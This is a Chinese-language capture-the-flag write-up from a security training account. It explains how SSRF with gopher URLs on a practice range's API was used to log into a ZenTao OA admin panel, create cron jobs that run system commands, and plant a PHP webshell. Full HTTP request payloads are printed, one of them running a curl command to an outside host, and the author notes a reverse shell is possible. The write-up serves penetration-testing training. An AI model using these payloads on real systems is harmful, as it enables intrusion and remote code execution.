「石破天惊」新思路:一键从ssrf到getshell
走过路过,不要错过这个公众号哦!
刚写成功shell解题出来了,看过官方和两位通过师傅的wp,
clound:cL0und 的write up
summ3rf:summ3rf的write up
实在佩服他们的渗透能力,good job~
之所以,我想提交一次,是因为使用的方法有点不同,想分享给大家,欢迎交流~
我其实一直在做靶场2的题,一直没思路,所以就先放下了,来看这个靶场了,点开留言已经看到作者都提示了很多信息了,总结下来就一句话:在api处使用ssrf拿oa.pockr.com的webshell,而且我的方法和两位师傅的完全不同,有点一根筋。。。还想看下去的请继续吧,别丢半头砖就成...
前面的找api,账号密码这些就不说了,师傅们的wp讲得都挺好了,此处略过 。。。
我当时只找到了/tool/check-api (看url这个点,就没在看其他点了,比如可以查看源码,数据库配置,还有redis存在,这个都是看了师傅们的wp才知道的)
根据作者的提示,我的方法是直接ssrf,登陆oa后台:
直接访问http://oa.pockr.com/,返回:
继续访问返回的网址,是登陆页面,返回一堆静态代码:
此时我的思路还停留在ssrf,配合gopher试图尝试弱口令登陆后台,感觉听麻烦,于是去根据上面返回的提示,网站使用的禅道,去官网查看了一下,发现可以直接通过get方式登陆后台~
于是我按照这个使用 Burp 用户名 admin,跑了一下 top500,除了爆出一堆靶场(后来知道 bug01 )的物理路径,没有成功的,看了一下靶场 logo,使用 pockr 登陆提示还有两次机会,说明用户名对了,但是无法跑密码了,手动尝试了两次弱口令猜对了密码是 pockr123,再次使用登陆:
oh yeah~~ 好激动,但是慢着,只是使用ssrf如何能进入到后台呢,如果访问上面返回路径,还是会提示需要登陆,因为没有提供验证后的cookie,
仔细看过长亭的那篇文章,好像是可以通过gopher再提交一次验证信息,也就是用gopher提交一次上面的用来登陆后台的 url, 构造如下:
zentaosid=jmtfd7g3a71ieeq1csmtat4q28,这个就是现在验证后获得的关键信息了,使用它就可以访问后台了,这次使用 POST(GET也是可以的,如果只是查看后台到底有啥功能话,无所谓)
继续~
也到禅道的 demo 页面里对比了一下,这些功能感觉没啥用处,进admin里看看~
看这里,心里总算有些什么数了,继续“点进去”看看,
还可以创建计划任务,仔细看,/index.php?m=cron&f=create,然后下面已经创建的格式 */ * * * command想到了什么~~ 对就是它。“点进去” 看看到底它是如何创建的:
别的先不说,就看到任务类型可以是 system, 此刻需要 sixsixsix ...
构造一个先:
POST /tool/check-api HTTP/1.1
Host: 39.108.218.120:8124
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://39.108.218.120:8124/tool/api
Content-Length: 417
Cookie: PHPSESSID=43efcf766309d3d9691986fd0c1276fa; _identity=d984d3c446f6911df7e33c1e013d4d508af353205dbf2ab2658223d38c3e0074a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A17%3A%22%5B182%2C182%2C2592000%5D%22%3B%7D
Connection: close
url=gopher://oa.pockr.com:80/_POST%20/index.php%253fm=cron%26f=create%20HTTP/1.0%250d%250aHost:%20oa.pockr.com%250d%250aCookie: zentaosid=7veojbkh36fgk1bk53tp12eigl;%20path=/%250d%250aConnection:%20keep-alive%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250aContent-Length:%2079%250d%250a%250d%250a%26m=*%26h=*%26dom=*%26mon=*%26dow=*%26command=curl%20你我他的ip%26remark=soulflag%26type=system
提交后,虽然创建成功了,但是并没有返回连接(docker环境这么简陋,也许没有curl),先查看一下我创建的任务吧:
这里就留给大家完成(100%可以反向shell,如果继续看下我写webshell技巧:)
我放弃了反向,毕竟最后是需要的webshell(我就一根筋)
但是echo 一个phpwebshell是需要知道oa的物理路径的,找啊找啊,翻啊翻啊,终于在后台的二次开发这个功能里,找到了可以查看上传图片的地方:
万事俱备了,开干:
先删除刚才创建的任务:
POST /tool/check-api HTTP/1.1
Host: 39.108.218.120:8124
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://39.108.218.120:8124/tool/api
Content-Length: 456
Cookie: PHPSESSID=43efcf766309d3d9691986fd0c1276fa; _identity=d984d3c446f6911df7e33c1e013d4d508af353205dbf2ab2658223d38c3e0074a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A17%3A%22%5B182%2C182%2C2592000%5D%22%3B%7D
Connection: close
url=gopher://oa.pockr.com:80/_POST%20/index.php%253fm=cron%26f=delete%26cronID=10%26confirm=yes%20HTTP/1.0%250d%250aHost:%20oa.pockr.com%250d%250aCookie:%20zentaosid=7veojbkh36fgk1bk53tp12eigl;%20path=/%250d%250a%250d%250a
使用上面这个配合 burp 的 Intruder 基本可以打扫干净:)
在写类似 <?php phpinfo();这个地方我遇到难处是,问号是始终没办法转义的,虽然成功了,但是内容完全不对 。。。这里我折腾了好几个小时,耽误了通关期限,😓
这里的N张失败截图就不发了,发一下最后的技巧:
base64完美隐藏了特殊符号,tee也是用来规避管道符号,完美写入,
webshell还上面,大家可以验证一下的~
就这么多了,有截图还是很方便说明问题的,
记得最后删除任务,避免弄坏系统了,
那么,你们应该会反向 bash shell了吧 ,嘿嘿~~~
别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
合天智汇
网址 : www.heetian.com
电话:4006-123-731
长按图片,据说只有颜值高的人才能识别哦→